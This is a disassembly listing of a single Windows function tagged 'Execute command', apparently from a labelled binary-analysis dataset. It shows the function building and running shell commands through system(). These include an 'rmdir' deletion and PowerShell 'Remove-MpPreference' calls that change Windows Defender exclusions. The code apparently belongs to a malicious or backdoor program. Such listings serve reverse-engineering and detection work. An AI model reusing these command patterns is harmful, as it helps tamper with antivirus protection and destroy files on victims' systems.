Function at 0x40f6f0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f625
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x42800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0xc
mov dword [ebp - 4], 0
mov esi, esp
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
je 0x40f776
cmp eax, 0x7fffffff
ja 0x40fc86
push eax
mov ecx, esi
call fcn.00406260
mov edi, dword [esi]
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
sub esi, eax
push esi
push eax
push edi
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov dword [ecx + 4], eax
lea ecx, [ebp - 0x64]
call fcn.00406720
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x40f797
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x14]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x14]
jne 0x40f7bd
push str.invalid_stoi_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
cmp dword [edi], 0x22
jne 0x40f7cd
push str.stoi_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x50]
movzx eax, ax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x40f80d
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f803
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f803
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
sub esp, 0x18
mov ecx, esp
push 0x428964
call fcn.00404640
call fcn.00408830
add esp, 0x18
test al, al
je 0x40f9f4
xor edi, edi
nop
sub esp, 0x18
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x428964
call fcn.00404640
mov ecx, esi
call fcn.004086d0
add esp, 0x18
call fcn.0041b950
add esp, 0x18
cmp edi, 0x12c
jg 0x40fc90
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
inc edi
mov esi, esp
sub esp, 0x18
mov ecx, esp
push 0x428964
call fcn.00404640
mov ecx, esi
call fcn.004086d0
add esp, 0x18
call fcn.0041b760
add esp, 0x18
test eax, eax
jne 0x40f830
sub esp, 0x18
mov ecx, esp
push 0x428964
call fcn.00404640
call fcn.00406470
mov ecx, esp
push 0x428964
call fcn.00404640
lea ecx, [ebp - 0x64]
call fcn.004085d0
push eax
mov edx, str.rmdir__
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.00404d10
add esp, 0x1c
push 0x42166c
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00404540
mov dword [ebp - 0x24], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x34], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x24], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 0x10
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x40f962
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f958
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f9e4
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0x10
jb 0x40f9a8
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f99e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f9e4
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp ecx, 0x10
jb 0x40f9f4
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f9ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f9ea
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
sub esp, 0x18
mov edi, esp
sub esp, 0x18
mov ecx, esp
push 0x428964
call fcn.00404640
lea ecx, [ebp - 0x7c]
call fcn.004086d0
add esp, 0x18
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 4
mov ecx, closesocket
mov edx, dword [0x428974]
sub ecx, edx
cmp ecx, 0x24
jb 0x40fc8b
cmp dword [0x428978], 0x10
mov eax, 0x428964
push edx
cmovae eax, dword [0x428964]
push eax
push 0x24
push str.Remove_MpPreference__ExclusionPath_
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x34]
call fcn.0040a8c0
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
push 0x2a
push str.__Remove_MpPreference__ExclusionProcess_
cmp eax, 0x2a
jb 0x40fa96
cmp edx, 0x10
lea esi, [ebp - 0x34]
lea eax, [ecx + 0x2a]
cmovae esi, dword [ebp - 0x34]
add esi, ecx
mov dword [ebp - 0x24], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x2a], 0
lea eax, [ebp - 0x34]
jmp 0x40faa7
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x34]
push dword [ebp - 0x14]
push 0x2a
call fcn.00405420
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x54], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x18]
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 6
push eax
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x4c]
call fcn.0040a6e0
push 0x421bec
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 7
call fcn.00404540
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [edi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00406820
mov byte [ebp - 4], 6
add esp, 0x18
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x40fb65
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fb5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40fc1b
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
cmp ecx, 0x10
jb 0x40fbab
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fba1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40fc1b
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x10
jb 0x40fbdf
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fbd5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40fc1b
push ecx
push edx
call fcn.0041d5d2
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0x10
jb 0x40fc2b
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40fc21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40fc21
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0041d5d2
add esp, 8
push dword [ebp - 0x1c]
call fcn.0040fcb0
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x40fc69
mov edx, dword [ebp + 0x10]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40fc5f
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40fc5f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0041d5d2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d07c
mov esp, ebp
pop ebp
ret 0xc
call fcn.00405b70
call fcn.004014d0
push str.SHOTDOW_SHELL_ERROR
lea ecx, [ebp - 0x28]
call fcn.00406310
push 0x425434
lea eax, [ebp - 0x28]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3